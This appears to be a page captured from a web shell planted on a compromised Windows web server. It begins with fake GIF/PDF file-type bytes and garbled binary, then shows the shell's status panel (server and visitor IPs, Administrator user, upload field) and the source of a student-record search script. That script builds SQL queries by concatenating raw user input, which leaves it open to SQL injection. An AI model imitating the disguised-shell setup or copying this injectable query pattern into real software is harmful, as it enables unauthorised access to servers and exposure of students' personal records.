GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/User/ |
Upload File : |
<? // Admin/User/SearchQueryDARS.phpinc // Perform the search query. if (da()) debugTrackBegin(); $d_O = d_O(); #d_On(); // Uncomment to DEBUG. # DATE_FORMAT(userDOB,GET_FORMAT(DATE,'USA')) AS userDOB, if ( $darsIds == '' ) $darsIds = '0'; $v_SearchPart = explode(" ",ucwords($f_userSearch)); if ( count($v_SearchPart) > 0 ) { switch (count($v_SearchPart)) { case 0: break; case 1: if ( !is_numeric($v_SearchPart[0]) ) { $f_FirstName = $v_SearchPart[0]; } else { $f_userStudentId = $v_SearchPart[0]; } break; case 2: $f_FirstName = $v_SearchPart[0]; $f_LastName = $v_SearchPart[1]; break; default: $f_FirstName = $v_SearchPart[0]; $f_MiddleName = ''; for ($i=1; $i<count($v_SearchPart)-1; $i++) { $f_MiddleName .= $v_SearchPart[$i].' '; } $f_MiddleName = trim($f_MiddleName); $f_LastName = $v_SearchPart[count($v_SearchPart)-1]; break; } } // Perform search. $query = " SELECT dars.* , session.YRTR , session.sessionName , "; if ( isset($f_FirstName) ) { // userFirstName or userNickname match. $query .= " IF (darsStudentFirstName = '".$f_FirstName."', 40, IF (darsStudentFirstName LIKE '".$f_FirstName."%', 20, IF (darsStudentFirstName LIKE '%".$f_FirstName."%', 10, 0 ) ) ) +"; } if ( isset($f_MiddleName) ) { // userMiddleName match. $query .= " IF (userMiddleName = '".$f_MiddleName."', 15, IF (userMiddleName LIKE '".$f_MiddleName."%', 7, IF (userMiddleName LIKE '%".$f_MiddleName."%', 3, 0 ) ) ) +"; } if ( isset($f_LastName) ) { // userLastName match. $query .= " IF (darsStudentLastName = '".$f_LastName."', 20, IF (darsStudentLastName LIKE '".$f_LastName."%', 10, IF (darsStudentLastName LIKE '%".$f_LastName."%', 5, 0 ) ) ) +"; } if ( isset($f_userStudentId) ) { // userStudentId match. $query .= " IF (darsStudentId = '".$f_userStudentId."', 50, IF (darsStudentId LIKE '%".$f_userStudentId."', 25, IF (darsStudentId LIKE '%".$f_userStudentId."%', 12, 0 ) ) ) +"; } $query .= " 0 AS score FROM `dars` LEFT JOIN session ON session.sessionId = dars.sessionId WHERE ( 1=0"; foreach ($v_SearchPart as $key => $value) { // Match mixed names $query .= " OR darsStudentFirstName LIKE '%".$value."%' OR darsStudentLastName LIKE '%".$value."%' OR darsStudentId LIKE '%".$value."%'"; } $query .= " ) AND darsId NOT IN ( ".$darsIds." ) ORDER BY score DESC, darsStudentLastName, darsStudentFirstName, session.YRTR DESC "; d_Var('darsResult',$query,'q'); $darsResult = query_do($query); $darsResultCount = $_SESSION['qry']['count']; d_Var('$darsResultCount',$darsResultCount); d_Var('$darsResult',$darsResult); if ( isset($d_O) && !$d_O ) d_Off(); if (da()) debugTrackEnd(); ?>